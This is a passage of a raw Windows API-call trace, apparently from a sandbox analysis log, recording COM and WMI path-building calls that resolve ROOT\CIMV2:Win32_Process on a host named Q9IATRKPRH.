out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.040] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76f30, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6f320) returned 0x0 [0075.040] WbemDefPath:IUnknown:Release (This=0x1bf76f30) returned 0x0 [0075.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6f320) returned 0x0 [0075.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.041] WbemDefPath:IUnknown:AddRef (This=0x1bf6f320) returned 0x3 [0075.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf76fb0) returned 0x0 [0075.041] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76fb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.041] WbemDefPath:IUnknown:Release (This=0x1bf76fb0) returned 0x3 [0075.041] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.041] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.041] WbemDefPath:IUnknown:Release (This=0x1bf6f320) returned 0x2 [0075.041] WbemDefPath:IUnknown:Release (This=0x1bf6f320) returned 0x1 [0075.041] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.041] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f320, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6f320) returned 0x0 [0075.041] WbemDefPath:IUnknown:AddRef (This=0x1bf6f320) returned 0x3 [0075.041] WbemDefPath:IUnknown:Release (This=0x1bf6f320) returned 0x2 [0075.041] WbemDefPath:IWbemPath:SetText (This=0x1bf6f320, uMode=0x4, pszPath="") returned 0x0 [0075.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f320, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f260, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.042] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf6f320, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0075.042] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf6f320, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0075.042] WbemDefPath:IWbemPath:SetServer (This=0x1bf6f320, Name="Q9IATRKPRH") returned 0x0 [0075.042] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.042] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.042] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.042] IUnknown:Release (This=0x111f638) returned 0x1 [0075.044] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76fd0) returned 0x0 [0075.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76fd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.044] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76fd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6f3e0) returned 0x0 [0075.044] WbemDefPath:IUnknown:Release (This=0x1bf76fd0) returned 0x0 [0075.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6f3e0) returned 0x0 [0075.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0075.045] WbemDefPath:IUnknown:AddRef (This=0x1bf6f3e0) returned 0x3 [0075.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0075.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0075.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf77010) returned 0x0 [0075.045] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf77010, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.045] WbemDefPath:IUnknown:Release (This=0x1bf77010) returned 0x3 [0075.045] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0075.045] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0075.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0075.045] WbemDefPath:IUnknown:Release (This=0x1bf6f3e0) returned 0x2 [0075.045] WbemDefPath:IUnknown:Release (This=0x1bf6f3e0) returned 0x1 [0075.046] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0075.046] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0075.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f3e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf6f3e0) returned 0x0 [0075.046] WbemDefPath:IUnknown:AddRef (This=0x1bf6f3e0) returned 0x3 [0075.046] WbemDefPath:IUnknown:Release (This=0x1bf6f3e0) returned 0x2 [0075.046] WbemDefPath:IWbemPath:SetText (This=0x1bf6f3e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f320, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f3e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f3e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f3e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0075.046] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf6f320) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f3e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f3e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f3e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0075.046] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6f320, uIndex=0x0, pszName="ROOT") returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f3e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf6f3e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0075.046] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf6f320, uIndex=0x1, pszName="CIMV2") returned 0x0 [0075.046] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf6f320, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0075.046] WbemDefPath:IWbemPath:SetClassName (This=0x1bf6f320, Name="Win32_Process") returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f320, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f320, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f320, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f320, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf6f320, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f320, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f320, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f320, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f320, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0075.047] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f320, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0075.047] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0075.047] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0075.048] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0075.048] IUnknown:Release (This=0x111f638) returned 0x1 [0075.050] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf77270) returned 0x0 [0075.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77270, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0075.050] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77270, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf6f4a0) returned 0x0 [0075.050] WbemDefPath:IUnknown:Release (This=0x1bf77270) returned 0x0 [0075.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf6f4a0) returned 0x0 [0075.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0075.051] WbemDefPath:IUnknown:AddRef (This=0x1bf6f4a0) returned 0x3 [0075.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0075.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0075.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf772b0) returned 0x0 [0075.051] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf772b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0075.051] WbemDefPath:IUnknown:Release (This=0x1bf772b0) returned 0x3 [0075.051] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0075.051] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0075.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0075.051] WbemDefPath:IUnknown:Release (This=0x1bf6f4a0) returned 0x2 [0075.051] WbemDefPath:IUnknown:Release (This=0x1bf6f4a0) returned 0x1 [0075.051] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0075.051] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0075.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f4a0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf6f4a0) returned 0x0 [0075.051] WbemDefPath:IUnknown:AddRef (This=0x1bf6f4a0) returned 0x3 [0075.051] WbemDefPath:IUnknown:Release (This=0x1bf6f4a0) returned 0x2 [0075.051] WbemDefPath:IWbemPath:SetText (This=0x1bf6f4a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0075.052] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6f0e0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0075.052] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0075.052] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6f0e0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0075.052] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0075.052] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0075.052] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0075.052] IUnknown:Release (This=0x111f638) returned 0x1 [0075.054] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf772f0) returned 0x0 [0075.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf772f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0075.054] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf772f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf6f560) returned 0x0 [0075.054] WbemDefPath:IUnknown:Release (This=0x1bf772f0) returned 0x0 [0075.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf6f560) returned 0x0 [0075.054] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6f560, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 